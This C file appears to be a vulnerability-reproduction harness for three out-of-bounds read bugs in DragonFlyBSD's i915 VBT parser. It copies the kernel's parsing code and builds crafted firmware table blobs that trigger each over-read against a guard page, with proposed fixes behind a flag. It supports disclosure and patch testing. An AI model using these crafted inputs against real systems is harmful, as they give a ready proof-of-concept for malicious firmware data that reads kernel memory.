/* * vbt_oob_harness.c — source-faithful harness for three crafted-VBT OOB read * findings in sys/dev/drm/i915/intel_bios.c (DragonFlyBSD pass 2): * * DF-4121 parse_sdvo_panel_data(): panel_type from BDB_SDVO_LVDS_OPTIONS * (u8, 0..255) used as DTD index with no bounds check * (intel_bios.c:363-381) -> read up to 255*18+18 bytes past the * BDB_SDVO_PANEL_DTDS block data. * DF-4122 parse_edp()/parse_psr()/parse_lfp_backlight()/etc.: find_section() * only guarantees the block *fits inside the BDB*; a block may be * smaller than the struct read from it -> reads past the bdb end * (demonstrated instance: parse_edp edp->color_depth and * &edp->power_seqs[panel_type] at intel_bios.c:569,582-583). * DF-4123 parse_mipi_sequence(): goto_next_sequence() may return exactly * seq_size, then `*(data + index)` reads 1 byte past the * kmemdup'd seq_size heap buffer (intel_bios.c:1134-1158). * * Kernel-copied functions below are VERBATIM from intel_bios.c / * intel_vbt_defs.h / intel_bios.h (DRM_DEBUG* become no-op fprintf; the * drm_i915_private container becomes small stand-ins). Attacker model is the * pass-1 crafted-VBT model: VBT bytes come from platform firmware (opregion * RVDA/mailbox-4, PCI ROM, i915_vbt_firmware blob) and are validated ONLY by * intel_bios_is_valid_vbt() — which bounds bdb_offset+bdb_size to the buffer, * and nothing more. * * Detection: buffers are placed in private mmap'd memory ending exactly at a * PROT_NONE guard page. Any read past the buffer end raises SIGSEGV; the * handler prints "OOB read confirmed" and exits 77. In the kernel the same * primitive is an OOB read of the kmemdup'd firmware-VBT heap buffer or of * the opregion/PCI-ROM mapping. * * Usage: ./vbt_harness {sdvo|edp|mipi} [-p] (-p = proposed fix applied) * Exit: 77 = OOB read confirmed (vulnerable path taken) * 0 = completed with no OOB (patched path / block rejected) * 70 = usage / internal error */ #include #include #include #include #include #include #include typedef uint8_t u8; typedef uint16_t u16; typedef uint32_t u32; typedef uint64_t u64; /* ---------------- VERBATIM structs (intel_vbt_defs.h / intel_bios.h) ----- */ struct vbt_header { /* intel_vbt_defs.h:53 */ u8 signature[20]; u16 version; u16 header_size; u16 vbt_size; u8 vbt_checksum; u8 reserved0; u32 bdb_offset; u32 aim_offset[4]; } __packed; struct bdb_header { /* intel_vbt_defs.h:71 */ u8 signature[16]; u16 version; u16 header_size; u16 bdb_size; } __packed; struct lvds_dvo_timing { /* intel_vbt_defs.h:523 */ u16 clock; u8 hactive_lo; u8 hblank_lo; u8 hblank_hi:4; u8 hactive_hi:4; u8 vactive_lo; u8 vblank_lo; u8 vblank_hi:4; u8 vactive_hi:4; u8 hsync_off_lo; u8 hsync_pulse_width_lo; u8 vsync_pulse_width_lo:4; u8 vsync_off_lo:4; u8 vsync_pulse_width_hi:2; u8 vsync_off_hi:2; u8 hsync_pulse_width_hi:2; u8 hsync_off_hi:2; u8 himage_lo; u8 vimage_lo; u8 vimage_hi:4; u8 himage_hi:4; u8 h_border; u8 v_border; u8 rsvd1:3; u8 digital:2; u8 vsync_positive:1; u8 hsync_positive:1; u8 non_interlaced:1; } __packed; struct bdb_sdvo_lvds_options { /* intel_vbt_defs.h:626 */ u8 panel_backlight; u8 h40_set_panel_type; u8 panel_type; u8 ssc_clk_freq; u16 als_low_trip; u16 als_high_trip; u8 sclalarcoeff_tab_row_num; u8 sclalarcoeff_tab_row_size; u8 coefficient[8]; u8 panel_misc_bits_1; u8 panel_misc_bits_2; u8 panel_misc_bits_3; u8 panel_misc_bits_4; } __packed; struct edp_power_seq { /* intel_bios.h:41 */ u16 t1_t3; u16 t8; u16 t9; u16 t10; u16 t11_t12; } __packed; struct edp_fast_link_params { /* intel_vbt_defs.h:720 */ u8 rate:4; u8 lanes:4; u8 preemphasis:4; u8 vswing:4; } __packed; struct bdb_edp { /* intel_vbt_defs.h:737 */ struct edp_power_seq power_seqs[16]; u32 color_depth; struct edp_fast_link_params fast_link_params[16]; u32 sdrrs_msa_timing_delay; u16 edp_s3d_feature; /* 162 */ u16 edp_t3_optimization; /* 165 */ u64 edp_vswing_preemph; /* 173 */ u16 fast_link_training; /* 182 */ u16 dpcd_600h_write_required; /* 185 */ } __packed; struct psr_table { /* intel_vbt_defs.h:754 */ u8 full_link:1; u8 require_aux_to_wakeup:1; u8 feature_bits_rsvd:6; u8 idle_frames:4; u8 lines_to_wait:3; u8 wait_times_rsvd:1; u16 tp1_wakeup_time; u16 tp2_tp3_wakeup_time; } __packed; struct bdb_psr { /* intel_vbt_defs.h:770 */ struct psr_table psr_table[16]; } __packed; struct bdb_mipi_sequence { /* intel_vbt_defs.h:910 */ u8 version; u8 data[0]; } __packed; #define BDB_SDVO_LVDS_OPTIONS 22 #define BDB_SDVO_PANEL_DTDS 23 #define BDB_EDP 27 #define BDB_MIPI_SEQUENCE 53 #define MIPI_SEQ_END 0 #define MIPI_SEQ_DEASSERT_RESET 1 #define MIPI_SEQ_MAX 13 #define MIPI_SEQ_ELEM_END 0 #define MIPI_SEQ_ELEM_SEND_PKT 1 #define MIPI_SEQ_ELEM_DELAY 2 #define MIPI_SEQ_ELEM_GPIO 3 #define MIPI_SEQ_ELEM_I2C 4 /* ---------------- guard-page "allocator" --------------------------------- */ static const unsigned char *watch_base = NULL; static unsigned char *guard_alloc(size_t payload_size) { size_t pg = (size_t)sysconf(_SC_PAGESIZE); size_t total = ((payload_size + pg - 1) / pg) * pg; unsigned char *m = mmap(NULL, total + pg, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); if (m == MAP_FAILED) { perror("mmap"); exit(70); } if (mprotect(m + total, pg, PROT_NONE)) { perror("mprotect"); exit(70); } return m + total - payload_size; /* payload ends at the guard page */ } static int patched = 0; static void oob_handler(int sig, siginfo_t *si, void *uc) { (void)uc; (void)sig; printf("OOB read confirmed: SIGSEGV touching %p (offset %+ld from watched buffer base %p)\n", si->si_addr, watch_base ? (long)((const unsigned char *)si->si_addr - watch_base) : -1L, watch_base); printf("RESULT: VULNERABLE — out-of-bounds read taken by verbatim kernel parse code (exit 77)\n"); _exit(77); } /* ---------------- VERBATIM kernel code (intel_bios.c) -------------------- */ /* intel_bios.c:62-69 */ static u32 _get_blocksize(const u8 *block_base) { /* The MIPI Sequence Block v3+ has a separate size field. */ if (*block_base == BDB_MIPI_SEQUENCE && *(block_base + 3) >= 3) return *((const u32 *)(block_base + 4)); else return *((const u16 *)(block_base + 1)); } /* intel_bios.c:72-75 */ static u32 get_blocksize(const void *block_data) { return _get_blocksize(block_data - 3); } /* intel_bios.c:77-106 */ static const void * find_section(const void *_bdb, int section_id) { const struct bdb_header *bdb = _bdb; const u8 *base = _bdb; int index = 0; u32 total, current_size; u8 current_id; /* skip to first section */ index += bdb->header_size; total = bdb->bdb_size; /* walk the sections looking for section_id */ while (index + 3 < total) { current_id = *(base + index); current_size = _get_blocksize(base + index); index += 3; if (index + current_size > total) return NULL; if (current_id == section_id) return base + index; index += current_size; } return NULL; } /* intel_bios.c:1649-1682 (DRM_DEBUG_DRIVER -> fprintf) */ #define range_overflows(start, size, max) ({ \ typeof(start) start__ = (start); \ typeof(size) size__ = (size); \ typeof(max) max__ = (max); \ (void)(&start__ == &size__); \ (void)(&start__ == &max__); \ start__ >= max__ || size__ > max__ - start__; \ }) #define range_overflows_t(type, start, size, max) \ (range_overflows(start, size, max)) static int intel_bios_is_valid_vbt(const void *buf, size_t size) { const struct vbt_header *vbt = buf; const struct bdb_header *bdb; if (!vbt) return 0; if (sizeof(struct vbt_header) > size) { fprintf(stderr, "VBT header incomplete\n"); return 0; } if (memcmp(vbt->signature, "$VBT", 4)) { fprintf(stderr, "VBT invalid signature\n"); return 0; } if (range_overflows_t(size_t, vbt->bdb_offset, sizeof(struct bdb_header), size)) { fprintf(stderr, "BDB header incomplete\n"); return 0; } bdb = (const void *)((const u8 *)vbt + vbt->bdb_offset); if (range_overflows_t(size_t, vbt->bdb_offset, bdb->bdb_size, size)) { fprintf(stderr, "BDB incomplete\n"); return 0; } return 1; } /* ---------------- crafted-VBT construction ------------------------------- */ static unsigned char blob[16384]; /* scratch, then copied to guard region */ static size_t emit_block(unsigned char *b, size_t off, u8 id, const void *data, u16 datasz) { b[off++] = id; b[off++] = (u8)(datasz & 0xff); b[off++] = (u8)(datasz >> 8); if (datasz) memcpy(b + off, data, datasz); return off + datasz; } /* Assemble VBT: header + bdb_header + blocks. Returns blob length; caller * copies it so the LAST byte lands immediately before the guard page. */ static size_t build_vbt(const u8 *blocks, size_t blocks_len, u16 bdb_size_override) { struct vbt_header *vh = (struct vbt_header *)blob; struct bdb_header *bh; size_t bdb_off = sizeof(struct vbt_header); size_t bdb_len = sizeof(struct bdb_header) + blocks_len; memset(blob, 0, sizeof(blob)); memcpy(vh->signature, "$VBT", 4); vh->version = 208; vh->header_size = sizeof(struct vbt_header); vh->vbt_size = bdb_off + bdb_len; vh->bdb_offset = bdb_off; bh = (struct bdb_header *)(blob + bdb_off); memcpy(bh->signature, "$BVBT", 5); bh->version = 208; bh->header_size = sizeof(struct bdb_header); bh->bdb_size = bdb_size_override ? bdb_size_override : (u16)bdb_len; memcpy(blob + bdb_off + sizeof(struct bdb_header), blocks, blocks_len); return bdb_off + bdb_len; } /* ---------------- DF-4121: parse_sdvo_panel_data (intel_bios.c:349-387) -- */ static int case_sdvo(void) { u8 opts[3] = { 0x00, 0x00, 0xFF }; /* panel_type = 255 (u8, unchecked) */ u8 dtds[sizeof(struct lvds_dvo_timing)]; unsigned char blocks[64]; size_t blen = 0, vlen; unsigned char *vbt; const struct bdb_header *bdb; const struct lvds_dvo_timing *dvo_timing; const struct bdb_sdvo_lvds_options *sdvo_lvds_options; int index = -1; /* i915_modparams.vbt_sdvo_type default (i915_params.c:41) */ memset(dtds, 0x41, sizeof(dtds)); /* one plausible DTD */ blen = emit_block(blocks, blen, BDB_SDVO_LVDS_OPTIONS, opts, sizeof(opts)); blen = emit_block(blocks, blen, BDB_SDVO_PANEL_DTDS, dtds, sizeof(dtds)); vlen = build_vbt(blocks, blen, 0); vbt = guard_alloc(vlen); memcpy(vbt, blob, vlen); watch_base = vbt; if (!intel_bios_is_valid_vbt(vbt, vlen)) { fprintf(stderr, "harness bug: VBT rejected as invalid\n"); return 70; } printf("[DF-4121] crafted VBT accepted by intel_bios_is_valid_vbt (%zu bytes)\n", vlen); printf("[DF-4121] BDB_SDVO_PANEL_DTDS is the last block, data size = %zu bytes (1 DTD)\n", sizeof(dtds)); /* --- verbatim logic of parse_sdvo_panel_data (intel_bios.c:363-381) --- */ if (index == -1) { sdvo_lvds_options = find_section(vbt + ((struct vbt_header *)vbt)->bdb_offset, BDB_SDVO_LVDS_OPTIONS); if (!sdvo_lvds_options) return 0; index = sdvo_lvds_options->panel_type; /* intel_bios.c:370 */ } printf("[DF-4121] panel_type from BDB_SDVO_LVDS_OPTIONS = %d (no bounds check in this tree)\n", index); if (patched && index > 0xf) { /* proposed fix */ printf("[DF-4121] PATCHED: rejected panel_type %d > 0xf — no DTD read\n", index); return 0; } dvo_timing = find_section(vbt + ((struct vbt_header *)vbt)->bdb_offset, BDB_SDVO_PANEL_DTDS); if (!dvo_timing) return 0; printf("[DF-4121] reading struct lvds_dvo_timing (%zu bytes) at dvo_timing + %d*%zu = +%d bytes past block data start\n", sizeof(struct lvds_dvo_timing), index, sizeof(struct lvds_dvo_timing), (int)(index * sizeof(struct lvds_dvo_timing))); /* intel_bios.c:381: fill_detail_timing_data(mode, dvo_timing + index); * first field read is dvo_timing->hactive_hi at offset 3 of the entry */ { const volatile struct lvds_dvo_timing *t = dvo_timing + index; u8 first = t->hactive_hi; /* the OOB read */ printf("[DF-4121] read value %#x (this line is unreachable if guard page hit first)\n", first); } (void)bdb; printf("RESULT: NOT reproduced (no OOB) — unexpected for unpatched build\n"); return 1; } /* ---------------- DF-4122: parse_edp (intel_bios.c:557-666) --------------- */ static int case_edp(void) { unsigned char blocks[16]; size_t blen = 0, vlen; unsigned char *vbt; const struct bdb_header *bdb; const struct bdb_edp *edp; const struct edp_power_seq *edp_pps; int panel_type = 0; /* vbt.panel_type default when BDB_LVDS_OPTIONS absent */ /* BDB_EDP as the LAST block with declared size 1 (find_section accepts * any size that fits in the bdb; nothing checks sizeof(struct bdb_edp)) */ u8 one = 0x5a; blen = emit_block(blocks, blen, BDB_EDP, &one, 1); vlen = build_vbt(blocks, blen, 0); vbt = guard_alloc(vlen); memcpy(vbt, blob, vlen); watch_base = vbt; if (!intel_bios_is_valid_vbt(vbt, vlen)) { fprintf(stderr, "harness bug: VBT rejected as invalid\n"); return 70; } printf("[DF-4122] crafted VBT accepted (%zu bytes); BDB_EDP last block declared size = 1 byte\n", vlen); bdb = (const struct bdb_header *)(vbt + ((struct vbt_header *)vbt)->bdb_offset); edp = find_section(bdb, BDB_EDP); if (!edp) { printf("no BDB_EDP\n"); return 1; } printf("[DF-4122] sizeof(struct bdb_edp) = %zu; parse_edp reads edp->color_depth at +%zu and power_seqs[%d] at +%zu with no block-size floor\n", sizeof(struct bdb_edp), (size_t)(16 * sizeof(struct edp_power_seq)), panel_type, (size_t)(panel_type * sizeof(struct edp_power_seq))); if (patched && get_blocksize(edp) < sizeof(struct edp_power_seq) * 16 + 4) { printf("[DF-4122] PATCHED: BDB_EDP block size %u < %zu — rejected\n", get_blocksize(edp), sizeof(struct edp_power_seq) * 16 + 4); return 0; } /* --- verbatim reads of parse_edp (intel_bios.c:569, 582-585) --- */ printf("[DF-4122] edp->color_depth = %#x\n", (edp->color_depth >> (panel_type * 2)) & 3); /* :569 */ edp_pps = &edp->power_seqs[panel_type]; /* :582 */ printf("[DF-4122] power_seqs[0].t1_t3 = %u\n", edp_pps->t1_t3); printf("RESULT: NOT reproduced (no OOB) — unexpected for unpatched build\n"); return 1; } /* ---------------- DF-4123: parse_mipi_sequence (intel_bios.c:1095-1172) -- */ /* VERBATIM intel_bios.c:908-944 */ static int goto_next_sequence(const u8 *data, int index, int total) { u16 len; /* Skip Sequence Byte. */ for (index = index + 1; index < total; index += len) { u8 operation_byte = *(data + index); index++; switch (operation_byte) { case MIPI_SEQ_ELEM_END: return index; case MIPI_SEQ_ELEM_SEND_PKT: if (index + 4 > total) return 0; len = *((const u16 *)(data + index + 2)) + 4; break; case MIPI_SEQ_ELEM_DELAY: len = 4; break; case MIPI_SEQ_ELEM_GPIO: len = 2; break; case MIPI_SEQ_ELEM_I2C: if (index + 7 > total) return 0; len = *(data + index + 6) + 7; break; default: fprintf(stderr, "Unknown operation byte\n"); return 0; } } return 0; } /* VERBATIM intel_bios.c:860-906 */ static const u8 * find_panel_sequence_block(const struct bdb_mipi_sequence *sequence, u16 panel_id, u32 *seq_size) { u32 total = get_blocksize(sequence); const u8 *data = &sequence->data[0]; u8 current_id; u32 current_size; int header_size = sequence->version >= 3 ? 5 : 3; int index = 0; int i; if (sequence->version >= 3) data += 4; for (i = 0; i < 6 /* MAX_MIPI_CONFIGURATIONS */ && index < total; i++) { if (index + header_size > total) { fprintf(stderr, "Invalid sequence block (header)\n"); return NULL; } current_id = *(data + index); if (sequence->version >= 3) current_size = *((const u32 *)(data + index + 1)); else current_size = *((const u16 *)(data + index + 1)); index += header_size; if (index + current_size > total) { fprintf(stderr, "Invalid sequence block\n"); return NULL; } if (current_id == panel_id) { *seq_size = current_size; return data + index; } index += current_size; } fprintf(stderr, "Sequence block detected but no valid configuration\n"); return NULL; } static int case_mipi(void) { /* BDB_MIPI_SEQUENCE block data: * version = 1 * entry: [panel_id=0][size=5][payload = 01 03 aa aa 00] * payload: seq_id=MIPI_SEQ_DEASSERT_RESET(1), GPIO element (op=3, 2 * operand bytes), then MIPI_SEQ_ELEM_END as the FINAL byte -> the * verbatim goto_next_sequence() returns exactly seq_size. */ static const u8 blk[] = { 0x01, /* version 1 */ 0x00, 0x05, 0x00, /* entry header: id 0, u16 size 5 */ 0x01, 0x03, 0xaa, 0xaa, 0x00, /* payload (5 bytes) */ }; unsigned char blocks[32]; size_t blen = 0, vlen; unsigned char *vbt, *data; const struct bdb_header *bdb; const struct bdb_mipi_sequence *sequence; const u8 *seq_data; u32 seq_size = 0; int index = 0; u8 seq_id; const u8 *dsi_sequence[MIPI_SEQ_MAX]; blen = emit_block(blocks, blen, BDB_MIPI_SEQUENCE, blk, sizeof(blk)); vlen = build_vbt(blocks, blen, 0); vbt = guard_alloc(vlen); memcpy(vbt, blob, vlen); if (!intel_bios_is_valid_vbt(vbt, vlen)) { fprintf(stderr, "harness bug: VBT rejected\n"); return 70; } bdb = (const struct bdb_header *)(vbt + ((struct vbt_header *)vbt)->bdb_offset); sequence = find_section(bdb, BDB_MIPI_SEQUENCE); if (!sequence || sequence->version >= 4) { printf("no seq\n"); return 1; } seq_data = find_panel_sequence_block(sequence, 0 /* panel_type */, &seq_size); if (!seq_data) { printf("no panel seq\n"); return 1; } printf("[DF-4123] panel sequence blob seq_size = %u\n", seq_size); /* kernel: data = kmemdup(seq_data, seq_size) — exact-size allocation */ data = guard_alloc(seq_size); memcpy(data, seq_data, seq_size); watch_base = data; printf("[DF-4123] kmemdup'd %u-byte heap buffer placed flush against guard page\n", seq_size); /* --- verbatim parse loop of parse_mipi_sequence (intel_bios.c:1134-1158) --- */ for (;;) { seq_id = *(data + index); /* :1135 */ if (seq_id == MIPI_SEQ_END) break; if (seq_id >= MIPI_SEQ_MAX) { printf("[DF-4123] unknown sequence %u\n", seq_id); goto err; } dsi_sequence[seq_id] = data + index; index = goto_next_sequence(data, index, seq_size); /* :1153 */ if (!index) { printf("[DF-4123] invalid sequence %u\n", seq_id); goto err; } if (patched && index >= (int)seq_size) { /* proposed fix */ printf("[DF-4123] PATCHED: loop stopped at index %d == seq_size before reading data[%d]\n", index, index); return 0; } } printf("RESULT: loop ended normally (no OOB) — unexpected for unpatched build\n"); return 1; err: printf("RESULT: err path (no OOB)\n"); return 1; } /* ---------------- main ---------------------------------------------------- */ int main(int argc, char **argv) { struct sigaction sa; int rc; if (argc < 2) { fprintf(stderr, "usage: %s {sdvo|edp|mipi} [-p]\n", argv[0]); return 70; } if (argc > 2 && !strcmp(argv[2], "-p")) patched = 1; memset(&sa, 0, sizeof(sa)); sa.sa_sigaction = oob_handler; sa.sa_flags = SA_SIGINFO; if (sigaction(SIGSEGV, &sa, NULL) || sigaction(SIGBUS, &sa, NULL)) { perror("sigaction"); return 70; } setvbuf(stdout, NULL, _IONBF, 0); /* survive _exit() in the handler */ printf("== i915 VBT parse harness (verbatim code from sys/dev/drm/i915/intel_bios.c) ==\n"); printf("mode=%s patched=%d\n\n", argv[1], patched); if (!strcmp(argv[1], "sdvo")) rc = case_sdvo(); else if (!strcmp(argv[1], "edp")) rc = case_edp(); else if (!strcmp(argv[1], "mipi")) rc = case_mipi(); else { fprintf(stderr, "unknown mode\n"); return 70; } if (rc == 0) printf("RESULT: OK — no out-of-bounds read on this path\n"); return rc == 0 ? 0 : rc; }